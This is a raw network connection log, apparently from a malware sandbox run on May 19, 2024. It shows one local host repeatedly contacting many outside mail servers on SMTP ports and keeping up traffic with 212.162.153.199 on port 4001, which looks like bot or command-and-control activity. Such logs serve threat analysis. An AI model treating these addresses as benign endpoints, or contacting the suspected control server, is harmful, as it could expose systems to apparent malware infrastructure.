May 19, 2024 17:27:49.896169901 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:49.896639109 CEST	49927	465	192.168.2.4	199.59.243.225
May 19, 2024 17:27:49.896806955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.927336931 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:49.927547932 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:49.941343069 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:49.941447973 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:49.941478014 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:49.941505909 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:49.941534042 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:49.941562891 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:49.941591978 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:49.941621065 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.941652060 CEST	587	49859	62.149.188.200	192.168.2.4
May 19, 2024 17:27:49.941687107 CEST	587	49860	79.143.126.202	192.168.2.4
May 19, 2024 17:27:49.941718102 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:49.941747904 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:49.941972971 CEST	49860	587	192.168.2.4	79.143.126.202
May 19, 2024 17:27:49.941987991 CEST	49859	587	192.168.2.4	62.149.188.200
May 19, 2024 17:27:49.942022085 CEST	49860	587	192.168.2.4	79.143.126.202
May 19, 2024 17:27:49.942055941 CEST	49859	587	192.168.2.4	62.149.188.200
May 19, 2024 17:27:49.942125082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.942125082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.942125082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.942125082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.947607994 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.947921038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.947921038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.947921038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.947921991 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.951436043 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.951617002 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.951767921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.951769114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.955152035 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.955198050 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:49.955231905 CEST	465	49927	199.59.243.225	192.168.2.4
May 19, 2024 17:27:49.955259085 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:49.955297947 CEST	49927	465	192.168.2.4	199.59.243.225
May 19, 2024 17:27:49.955296993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.960235119 CEST	587	49860	79.143.126.202	192.168.2.4
May 19, 2024 17:27:49.960288048 CEST	587	49859	62.149.188.200	192.168.2.4
May 19, 2024 17:27:49.960319042 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.960361958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.960391045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.965127945 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.989839077 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:49.991219997 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:49.995318890 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.995376110 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:49.995409966 CEST	587	49861	194.153.145.104	192.168.2.4
May 19, 2024 17:27:49.995487928 CEST	49861	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.995553970 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:49.995625019 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:49.995882988 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:49.995913982 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:49.996077061 CEST	49861	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:49.996211052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:49.996557951 CEST	50012	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:49.997051954 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:50.022615910 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:50.023040056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.027760983 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:50.032742023 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:50.032795906 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:50.032876015 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:50.032907963 CEST	587	49861	194.153.145.104	192.168.2.4
May 19, 2024 17:27:50.032943010 CEST	587	50012	193.81.82.81	192.168.2.4
May 19, 2024 17:27:50.032972097 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:50.033013105 CEST	50012	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:50.033133984 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:50.033235073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.033235073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.038599014 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.043313980 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:27:50.043628931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.048909903 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.048964977 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:27:50.049061060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.054532051 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.083652973 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:50.083782911 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:27:50.089523077 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:50.089554071 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:50.089582920 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:50.089917898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.089917898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.089917898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.090049982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.090078115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.094271898 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:50.094573975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.099237919 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:50.101337910 CEST	587	49869	3.125.131.179	192.168.2.4
May 19, 2024 17:27:50.101577044 CEST	49869	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:50.101883888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.101938963 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:50.103871107 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:50.103950024 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:50.106549025 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:50.109509945 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:50.109570026 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.109606028 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:50.112339973 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.112442970 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.112584114 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.117595911 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.117660046 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:50.117816925 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.122790098 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.130369902 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:50.134819984 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:50.135545015 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:50.135849953 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:50.136622906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.137226105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.137226105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.137290001 CEST	49869	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:50.137454033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.137921095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.138518095 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:50.138793945 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:50.139494896 CEST	50014	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:50.142539978 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.146193027 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:50.152285099 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.152339935 CEST	587	49869	3.125.131.179	192.168.2.4
May 19, 2024 17:27:50.152373075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.152403116 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.152434111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.152462959 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:50.152493000 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:50.152525902 CEST	587	50014	3.125.131.179	192.168.2.4
May 19, 2024 17:27:50.152745008 CEST	50014	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:50.152791977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.157921076 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:50.158221006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.175081015 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:50.175182104 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:50.175702095 CEST	587	49872	104.18.2.81	192.168.2.4
May 19, 2024 17:27:50.176192045 CEST	49872	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:50.178118944 CEST	49872	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:50.178119898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.180799007 CEST	587	49876	117.50.20.113	192.168.2.4
May 19, 2024 17:27:50.180849075 CEST	587	49875	104.22.65.144	192.168.2.4
May 19, 2024 17:27:50.180938005 CEST	49876	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:50.185360909 CEST	49875	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:50.185390949 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.190103054 CEST	49875	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:50.190160036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.190262079 CEST	49876	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:50.190294981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.190366030 CEST	587	49872	104.18.2.81	192.168.2.4
May 19, 2024 17:27:50.198019028 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.202914000 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:50.208574057 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:50.209939003 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:50.210190058 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:50.210259914 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:50.213587999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.214054108 CEST	587	49875	104.22.65.144	192.168.2.4
May 19, 2024 17:27:50.214103937 CEST	587	49876	117.50.20.113	192.168.2.4
May 19, 2024 17:27:50.214134932 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.214215994 CEST	587	49874	199.85.66.2	192.168.2.4
May 19, 2024 17:27:50.214247942 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:50.214287996 CEST	49874	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:50.217607021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.221229076 CEST	49874	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:50.221263885 CEST	49929	587	192.168.2.4	209.17.116.10
May 19, 2024 17:27:50.221324921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.221467972 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.223994970 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:50.224028111 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:50.224057913 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:50.228938103 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.229033947 CEST	587	49988	188.94.251.250	192.168.2.4
May 19, 2024 17:27:50.229099035 CEST	49988	587	192.168.2.4	188.94.251.250
May 19, 2024 17:27:50.234339952 CEST	587	49874	199.85.66.2	192.168.2.4
May 19, 2024 17:27:50.234396935 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.234430075 CEST	587	49929	209.17.116.10	192.168.2.4
May 19, 2024 17:27:50.234494925 CEST	49929	587	192.168.2.4	209.17.116.10
May 19, 2024 17:27:50.236191034 CEST	49988	587	192.168.2.4	188.94.251.250
May 19, 2024 17:27:50.236238956 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.255661964 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:50.255784035 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:50.287755966 CEST	587	49988	188.94.251.250	192.168.2.4
May 19, 2024 17:27:50.333743095 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.333775043 CEST	587	49880	104.18.2.81	192.168.2.4
May 19, 2024 17:27:50.333805084 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:50.333952904 CEST	49880	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:50.338274002 CEST	49880	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:50.338361979 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.338442087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.338754892 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.338951111 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:50.339121103 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:50.339121103 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.339277029 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:50.339277029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.339368105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.339390039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.344979048 CEST	587	49880	104.18.2.81	192.168.2.4
May 19, 2024 17:27:50.380501986 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:50.393333912 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.393378019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.393409014 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:50.393440008 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:50.393470049 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.393498898 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:50.393527985 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.393558025 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:50.393572092 CEST	587	50007	164.90.197.79	192.168.2.4
May 19, 2024 17:27:50.393837929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.393837929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.394201994 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:50.401751041 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:50.401829958 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:50.401984930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.406949997 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:50.407036066 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.407119989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.412075043 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:50.412197113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.417254925 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.423444986 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:50.423701048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.429991961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.435466051 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.442960024 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:50.446060896 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:50.448354006 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.448477983 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:50.448544979 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:50.448740959 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:50.453275919 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:50.456686020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.458585024 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:50.458584070 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:50.458648920 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:50.461767912 CEST	50016	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:50.462784052 CEST	50017	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.463293076 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:50.463340044 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:50.468261957 CEST	587	50016	77.78.119.119	192.168.2.4
May 19, 2024 17:27:50.468343019 CEST	50016	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:50.472558975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.473721027 CEST	587	50017	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.473802090 CEST	50017	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.474014044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.474358082 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:50.478467941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.483568907 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:50.484035969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.489438057 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.505573034 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:50.511300087 CEST	587	49885	150.136.132.149	192.168.2.4
May 19, 2024 17:27:50.511374950 CEST	49885	587	192.168.2.4	150.136.132.149
May 19, 2024 17:27:50.511435032 CEST	49885	587	192.168.2.4	150.136.132.149
May 19, 2024 17:27:50.511519909 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.511766911 CEST	50018	465	192.168.2.4	208.91.197.132
May 19, 2024 17:27:50.519520044 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:50.519753933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.524679899 CEST	587	49885	150.136.132.149	192.168.2.4
May 19, 2024 17:27:50.529802084 CEST	465	50018	208.91.197.132	192.168.2.4
May 19, 2024 17:27:50.529905081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.529932976 CEST	50018	465	192.168.2.4	208.91.197.132
May 19, 2024 17:27:50.530117989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.530385017 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:50.530791998 CEST	50019	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:50.531035900 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:50.531089067 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:50.536746025 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:50.537574053 CEST	49980	587	192.168.2.4	82.98.132.37
May 19, 2024 17:27:50.537736893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.543195009 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.543521881 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.548365116 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.553056002 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:50.553113937 CEST	587	50019	117.50.20.113	192.168.2.4
May 19, 2024 17:27:50.553148985 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:50.553179979 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:50.553211927 CEST	587	49980	82.98.132.37	192.168.2.4
May 19, 2024 17:27:50.553292990 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:50.553302050 CEST	50019	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:50.553308010 CEST	49980	587	192.168.2.4	82.98.132.37
May 19, 2024 17:27:50.553572893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.553572893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.555459023 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:50.555711031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.555711031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.560210943 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:50.560250044 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:50.560280085 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:50.560375929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.562169075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.562201977 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:50.562237024 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:50.562375069 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:50.562434912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.562434912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.562434912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.562436104 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.567958117 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:50.570060015 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:50.570095062 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.570115089 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:50.570184946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.575025082 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.575053930 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.575083017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.575112104 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:50.575189114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.579921007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.583607912 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.590522051 CEST	50020	587	192.168.2.4	91.192.195.37
May 19, 2024 17:27:50.595329046 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.599231958 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:50.600352049 CEST	587	49890	117.50.20.113	192.168.2.4
May 19, 2024 17:27:50.600457907 CEST	49890	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:50.600516081 CEST	49890	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:50.600570917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.605413914 CEST	587	50020	91.192.195.37	192.168.2.4
May 19, 2024 17:27:50.605492115 CEST	50020	587	192.168.2.4	91.192.195.37
May 19, 2024 17:27:50.605556011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.610476971 CEST	587	49890	117.50.20.113	192.168.2.4
May 19, 2024 17:27:50.614969015 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:50.615608931 CEST	587	49993	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.615710020 CEST	49993	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.615968943 CEST	49993	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.616007090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.620297909 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.625648022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.625670910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.628341913 CEST	587	49993	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.628436089 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.629517078 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:50.629592896 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:50.629717112 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:50.629801989 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:50.629951954 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.630033970 CEST	50021	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:50.630070925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.630070925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.632678032 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.632714987 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.632846117 CEST	49779	587	192.168.2.4	142.93.237.125
